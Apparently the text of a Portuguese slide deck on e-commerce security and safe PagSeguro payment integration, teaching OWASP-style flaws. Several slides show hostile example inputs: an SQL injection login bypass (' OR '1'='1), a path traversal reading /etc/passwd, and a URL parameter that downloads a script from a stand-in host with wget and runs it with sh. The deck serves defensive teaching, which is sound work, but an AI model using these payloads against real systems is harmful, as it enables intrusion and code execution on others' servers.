O documento discute vários riscos de segurança para e-commerce, incluindo injeção SQL, quebra de fluxo, XSS e ataques de negação de serviço. Ele também fornece dicas sobre como implementar pagamentos seguros com PagSeguro, validando tokens e valores retornados e permanecendo vigilante contra fraudes.

1. e­Commerce seguro com
PagSeguro

2. medo

3. OWASP
owasp.org

4. Segurança em todo o processo

5. Sistema atualizado

6. Portas fechadas

7. Senhas seguras

8. SSL

9. Falhas na aplicação

10. SQL Injection

11. <?
q = db.exec("SELECT * FROM user WHERE
login='%s' AND senha='%s'" % (login,senha))
?>

12. <?
q = db.exec("SELECT * FROM user WHERE
login='%s' AND senha='%s'" % (login,senha))
?>
login: admin
senha: ' OR '1'='1

13. <?
q = db.exec("SELECT * FROM user WHERE
login='%s' AND senha='%s'" % (login,senha))
?>
login: admin
senha: ' OR '1'='1
SELECT * FROM user WHERE login='admin' AND
senha='' OR '1'='1'

14. Falsificação de Identidade

16. Controles no Client

17. <input type="hidden" name="desconto"
value="10,00" />

18. Quebra de Fluxo

19. http://seusite.com/compra.php?passo=1

20. Ataques contra outros clients

21. HTML Injection

22. Script Injection

23. XSS

24. XSRF

25. Exposição de recursos

26. http://seusite.com/compra.php?passo=1
&stop=1&template=azul.php

27. http://seusite.com/compra.php?passo=1
&stop=1&template=azul.php
http://seusite.com/compra.php?passo=1
&stop=1&template=../../etc/passwd

28. Execução de recursos

29. http://seusite.com/relatorio.php?
tipo=3&gerador=pdfmaker

30. http://seusite.com/relatorio.php?
tipo=3&gerador=pdfmaker
http://seusite.com/relatorio.php?
tipo=3&gerador=wget+pirata.com/script
http://seusite.com/relatorio.php?
tipo=3&gerador=sh+script

31. Autenticação falha

32. Criptografia insegura

33. Falha de restrição de acesso

34. Denial Of Service

35. Pagamento: processo crítico

36. PagSeguro

37. PagSeguro:
­ Uma única implantação
­ Segurança contra
chargeback/fraude
­ EVSSL + Aplicação segura

38. Formas de implantação:
­ Carrinho PagSeguro
­ Carrinho Próprio
­ Retorno Automático

39. Pontos sensíveis:
­ HTML do Form de Carrinho
­ URL de Retorno

40. Proteja sua URL de Retorno:
­ Valide com o Token
­ Valide os Valores
­ Log
­ Fique alerta!

41. Obrigado!
visie.com.br
elcio@visie.com.br